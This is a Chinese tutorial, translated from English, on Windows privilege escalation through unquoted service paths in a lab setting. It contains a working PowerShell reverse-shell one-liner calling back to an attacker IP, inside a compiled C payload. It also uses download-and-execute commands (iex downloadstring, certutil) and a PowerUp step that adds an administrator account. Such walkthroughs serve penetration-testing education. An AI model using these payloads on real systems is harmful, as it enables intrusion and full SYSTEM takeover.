本文通过 Google 翻译 Unquoted Service Paths -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 未引用的服务路径漏洞原理](#1 未引用的服务路径漏洞原理)
- [2 搜寻未引用的服务路径](#2 搜寻未引用的服务路径)
- [2.1 枚举未引用的服务路径-手动](#2.1 枚举未引用的服务路径-手动)
- [2.2 枚举未引用的服务路径-工具](#2.2 枚举未引用的服务路径-工具)
- [2.2.1 PowerUp.ps1](#2.2.1 PowerUp.ps1)
- [2.2.2 winPEAS](#2.2.2 winPEAS)
- [3 沿着服务路径枚举目录权限](#3 沿着服务路径枚举目录权限)
- [3.1 cmd.exe(icacls)](#3.1 cmd.exe(icacls))
- [3.2 PowerShell(Get-ACL)](#3.2 PowerShell(Get-ACL))
- [3.3 accesschk](#3.3 accesschk)
- [3.4 winPEAS](#3.4 winPEAS)
- [4 自制反向 shell 载荷](#4 自制反向 shell 载荷)
- [5 利用未引用的服务路径](#5 利用未引用的服务路径)
- [6 滥用 PowerUp.ps1 功能](#6 滥用 PowerUp.ps1 功能)
0、前言
在 Windows 提权技术中,最常见的提权方式是利用服务的错误配置。而服务错误配置的方式有很多,但迄今为止最有趣的还得是服务路径未被引用。在这篇文章中,我们将看到由薄弱的目录权限 和带有空格和无引号的服务路径组合在一起之后是如何使得用户权限从标准用户被提升到了本地 SYSTEM。
首先,我们使用手动技术和自动工具去枚举发现未引用的服务路径。其次,通过进一步枚举,确定我们是否拥有路径中某个目录的写入权限。然后,通过手工自制一个反向 shell 的程序,并在攻击者机器上完成编译。最后,我们会将这个自制程序传输到受害者的特定目录下,并重启系统以获得 SYSTEM shell。
1、未引用的服务路径漏洞原理
未加引号的服务路径漏洞是指:当 Windows 在启动服务时,如果服务的可执行文件路径中包含有空格 ,但整个路径又未使用双引号 包裹。此时,系统便会按照路径优先级逐层查找可执行文件。例如:
假设一个服务的路径是 C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe
。此时,Windows 可能会按照以下顺序逐个尝试查找并执行服务启动程序。
C:\Program.exe
C:\Program Files\Juggernaut.exe
C:\Program Files\Juggernaut Prod\Production.exe
C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe
这意味着,如果我们有权限在实际的可执行文件位置之前的三个目录中的任何一个中写入内容,那我们就可以制作一个可执行文件,并根据路径中的名称为其命名,就像上面的例子一样。之后,当服务启动时,它将执行我们的恶意程序,而不是预定的程序。
如果我们可以写入 C:\
,我们将制作一个名为 Program.exe 的可执行文件,并将其放入 C:\
;如果我们能写入 C:\Program Files
,我们就会制作一个名为 Juggernaut.exe 的可执行文件,并将其放入 C:\Program Files
。以此类推...
2、搜寻未引用的服务路径
在此示例中,假设我们作为标准用户 cmarko 已在目标机器上获得了立足点。

在获得立足点之后的首要事情便是通过 whoami /priv
命令检查当前用户的特权。

可以看到用户 cmarko 拥有 SeShutdownPrivilege 权限,而这一点在稍后利用服务获取 SYSTEM shell 时非常重要,因为需要以重启主机的方式重启服务。【因为在大多数情况下,虽然我们有能力滥用服务,但却没有停止和启动服务的权限。而如果服务是自启动的,那我们就可以利用重启机器来重启服务。】
在有了立足点之后,我们就可以利用内置命令手动枚举系统中任何未引用的服务路径,或者也可以利用工具来查找这些错误配置。
2.1、枚举未引用的服务路径-手动
可以使用 cmd.exe 和 PowerShell 手动查找系统中任何未引用的服务路径。
在 cmd 中的命令如下:
cmd
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

在上述命令中,我们使用 wmic 查询服务并提取了我们感兴趣的信息。同时还使用 findstr 命令过滤掉了以 C:\Windows
开头的目录中的任何结果,因为在这些目录中即便发现了错误配置我们也没有写入权限。而第二个 findstr 命令会筛选任何包含双引号的结果。
在 PowerShell 中的等效命令如下:
powershell
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName

经过上面这两个命令的查询发现,Juggernaut 服务具有未引用的服务路径,并且该服务是自启动服务。
2.2、枚举未引用的服务路径-工具
有很多后利用工具和脚本可使用,但在本例中,我们将坚持使用 PowerUp.ps1 和 winPEASx64.exe。
在下载每个工具的副本之后,我们将其转移到受害者机器。
2.2.1、PowerUp.ps1
在此例中,我们先将以下命令附加到 PowerUp.ps1 脚本的底部:
bash
echo 'Invoke-AllChecks' >> PowerUp.ps1

接着,在脚本的当前目录下启动 HTTP 服务器。
bash
python3 -m http.server 80
然后,使用命令 powershell -ep bypass
进入受害者 shell 上的 PowerShell 会话中,再使用以下命令将 PowerUp.ps1 直接下载到内存中并执行脚本:
powershell
iex(new-object net.webclient).downloadstring('http://172.16.1.30/PowerUp.ps1')

在这里,可以看到 PowerUp 能够为我们枚举这种错误配置的服务。此外,PowerUp.ps1 还内置函数可以用来滥用它发现的大多数错误配置。不过,需要指出的是,当 PowerUp 发现一个未引用的服务路径时,并不一定就意味着它是"易受攻击的",因为 PowerUp 只是识别了错误配置,然后在假定在未引用的服务路径可被利用的情况下提供了一个 AbuseFunction,具体能否利用还是需要自己去判断。【注:滥用操作在本文的[第 6 节](#第 6 节)讲述】
2.2.2、winPEAS
接下来开始 winPEAS 工具的使用,首先需要下载 winPEAS 的副本并传输到受害者机器上。
cmd
certutil -split -f -urlcache "http://172.16.1.30/winPEASx64.exe"

在受害者机器上执行 winPEAS 之后,会发现 winPEAS 会输出大量的信息让人很容易犯迷糊,因此避免迷糊的关键在于要清楚我们要找的信息所在的标识位置 。对于未引用的服务路径,我们要检查"Services Information"部分。这里会为我们提供有关服务名称、服务启动程序路径和启动类型等信息。

此外,如果我们继续向下查看 PEAS 的输出结果,就会发现它还枚举了在未引用路径上哪些目录我们具有写入权限。
毫无疑问,winPEAS 的能力实在是令人难以置信。但是,如果你要从输出的内容中获取到有用的信息的话,还是要多锻炼锻炼。
3、沿着服务路径枚举目录权限
目前,我们已经发现了未引用的服务路径,但仍无法确定它是否真的脆弱。为此,可以使用内置命令 icacls 或 Get-Acl 来检查沿着服务路径上每一层目录的权限,另外,也还会使用外部工具 accesschk.exe 来检查。
3.1、cmd.exe(icacls)
首先,在 cmd 会话中使用内置命令 icacls 来检查目录和文件的 ACL 的权限。而为了能理解 icacls 命令输出的信息,我们需要了解以下关于权限和用户组相关的知识:
【知识1】:我们要查找的目录权限只要是以下三种权限中的任意一种均可:
- (F) Full Control【完全控制】
- (M) Modify【修改】
- (W) Write【写入】
【知识2】:我们会经常见到的用户/组如下:
- 当前登录用户,如 bob。
- Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
- Everyone
- BUILTIN\Users
- NT AUTHORITY\INTERACTIVE
接下来,我们打算从左到右开始目录的权限检查,例如:
cmd
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Juggernaut Prod"

可以看到,沿着未引用的文件路径我们找到了可写目录,而这就是可以进行恶意操作的地方!
关于上面的输出内容,这里有三点需要提及一下:
- 第一,我们经常会看到通过身份验证的用户在默认情况下拥有对
C:\
的修改权限。然而,这其实是一种特殊的高级权限,它实际上只允许在该位置创建子目录,而无法向其中写入可执行文件或任何文件! - 第二,通常情况下,我们是无法将文件写入
C:\
或C:\Program Files
,但依旧值得去尝试检查一下,万一用户误配置呢。【注:只有本地管理员组的用户在高完整性 shell 中才能在这些目录中写入文件。】 - 第三,为什么我们不直接检查路径中的最后一个目录?因为那是包含实际服务启动程序的目录。而如果在那里有写入权限,那这就是服务的弱权限文件 漏洞了,而不需要使用未引用的服务路径来利用它。
就简单测试来说,当我们试图将 EXE 文件或 TXT 文件移动或写入到 C:\
时,我们会被提示拒绝访问。

3.2、PowerShell(Get-ACL)
也可以在 PowerShell 会话中使用以下命令执行相同的枚举:
powershell
Get-Acl -Path C:\ | Format-List
Get-Acl -Path "C:\Program Files" | Format-List
Get-Acl -Path "C:\Program Files\Juggernaut Prod" | Format-List

在上面我们可以看到,它并没有像 icacls 那样在 C:\
上显示"Modify"。相反,它提供了 "访问掩码格式",上面的数字其实也就是 "Modify"的数字表示形式。
注:
Get-Acl -Path C:\ | Format-List
和Get-Acl -Path C: | Format-List
输出的结果还是有所不同。主要是由于C:\
和C:
在 Windows 文件系统中有着不同的语义,C:\
代表完整的根目录路径,而C:
仅表示 C 盘当前所在的活动工作目录,一般是C:\Users\YourName
,但也不绝对。


3.3、accesschk
接下来,使用 Sysinternals 工具套件的 Accesschk64.exe 工具来对目录权限进行查看。
将 accesschk64.exe 的副本下载并传输到受害者机器上。

然后使用以下命令来枚举相同的目录:
cmd
.\accesschk64.exe -wvud "C:\" -accepteula
.\accesschk64.exe -wvud "C:\Program Files" -accepteula
.\accesschk64.exe -wvud "C:\Program Files\Juggernaut Prod" -accepteula

从上面可以看到,accesschk 为我们提供了关于 C:\
目录上最准确的权限说明,即 当前用户虽然拥有 W 写访问权限,但实际仅限于创建文件夹 (FILE_ADD_SUBDIRECTORY)。

由于当前用户不能在 C:\Program Files
目录中写入文件, 再加上 accesschk64.exe -w 选项只过滤写访问的原因,所以在上面的输出中我们并不能看到有关标准用户的任何结果。

最后,在上面可以看到,标准用户拥有大量的 FILE_WRITE 和 FILE_ADD 权限,但并没有显示"完全访问"。这可以推断为修改权限。
3.4、winPEAS
之前在使用 winPEAS 时,看到"Service Information"部分有一个未引用的服务路径。
从那里开始继续向下滚动到"Application Information"部分,然后检查"Installed Applications"子部分。如果我们能够利用该服务,那么就能从这里找到拥有写入权限的未引用服务路径中的那个目录。

如果在这部分中没有找到与我们发现的未引用服务路径相关联的可写目录,那么我们很可能也无法利用该服务。如果出现了这种情况,那么在彻底排除这一发现之前,仍应继续使用上述其它的手动方法继续确认,以防误报。
4、自制反向 shell 载荷
截至目前,我们发现的信息有:
- 有一个服务存在未引用的服务路径,路径是
C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe
。 - 该服务是开机自启动服务,且当前用户具有 SeShutdown 特权。
- 当前用户可以在
C:\Program Files\Juggernaut Prod\
目录写入文件。
这种权限升级技术的下一步便是制作一个自定义漏洞利用程序,并将其放在 C:\Program Files\Juggernaut Prod\
中。为此,我制作了一个自定义可执行文件,它可以在攻击者的机器上直接编译。
c
#include <windows.h>
#include <stdio.h>
int main(){
system("whoami >> C:\\temp\\whoami.txt");
return 0;
}
可以看到,我们的可执行文件将运行 whoami 命令,并将输出结果重定向到一个文件。虽然这是一个很酷的 POC,但我们真正想要的是一个反向 shell。
为此,让我们编辑此脚本中的 whoami 命令并将其替换为下面的 PowerShell 1-liner 命令,这样就能在执行该命令时获得一个反向 shell:
powershell
"powershell.exe -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('172.16.1.30',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
注:脚本中的 IP 为攻击者机器的 IP 地址。

请注意,上述的 PowerShell 命令周围的双引号旁边的转义字符是需要存在的。这是为了让代码将它们读作字面上的双引号,因为如果没有双引号,代码将无法编译,或者即使编译了也无法运行。
现在 exploit.c 文件可以编译了,可以使用 mingw-w64 或以下命令直接在攻击者机器上编译它:
bash
x86_64-w64-mingw32-gcc exploit.c -o Production.exe

编译完成之后便可将恶意程序传输到受害者机器。

5、利用未引用的服务路径
接下来,只需将漏洞利用程序移到 "C:\Program Files\Juggernaut Prod "
目录中,然后在攻击者机器上启动 443 端口的 netcat 监听器,最后重启受害者机器即可。

重新启动计算机可以使用以下命令:
cmd
shutdown /r /t 0 /f
回到监听器,我们就得到了一个 SYSTEM shell!

有时候在回到监听器的时候发现好像并没有发生什么变化,也没有出现任何提示,这时只需按下回车键,提示就会出现。
6、滥用 PowerUp.ps1 功能
之前在 [2.2.1 小节](#2.2.1 小节)的时候,当我们使用 PowerUp.ps1 枚举未引用的服务路径时,它显示有 AbuseFunction (滥用)字段。现在,我们可以用它来利用这个漏洞。

使用此 AbuseFunction 将会在当前目录下创建一个恶意程序,而运行该程序将会创建一个新用户,并将该用户归入管理员组。【注:以当前普通用户的身份单独执行该程序是不起作用的。】
powershell
Write-ServiceBinary -ServiceName 'Juggernaut'

此时,我们需要将上述生成 service.exe 程序写入 "C:\Program Files\Juggernaut Prod"
,然后将其重命名为 Production.exe。

现在,当我们重启系统并回到之前的反向 shell 时,可以看到新的用户已创建并被添加到了本地管理员组!

此时,如果很幸运发现目标系统的 RDP 服务是打开的,那我们就可以使用 xfreerdp 进行 RDP 登录,然后以"以管理员身份运行"打开 cmd,进入到具有完全权限的高完整性 shell 中。
bash
sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.50 +clipboard

但是,如果目标没有打开 RDP 服务。此时,我们就需要通过 Runas 和 UAC-bypass 技术来获取管理员高完整性 shell。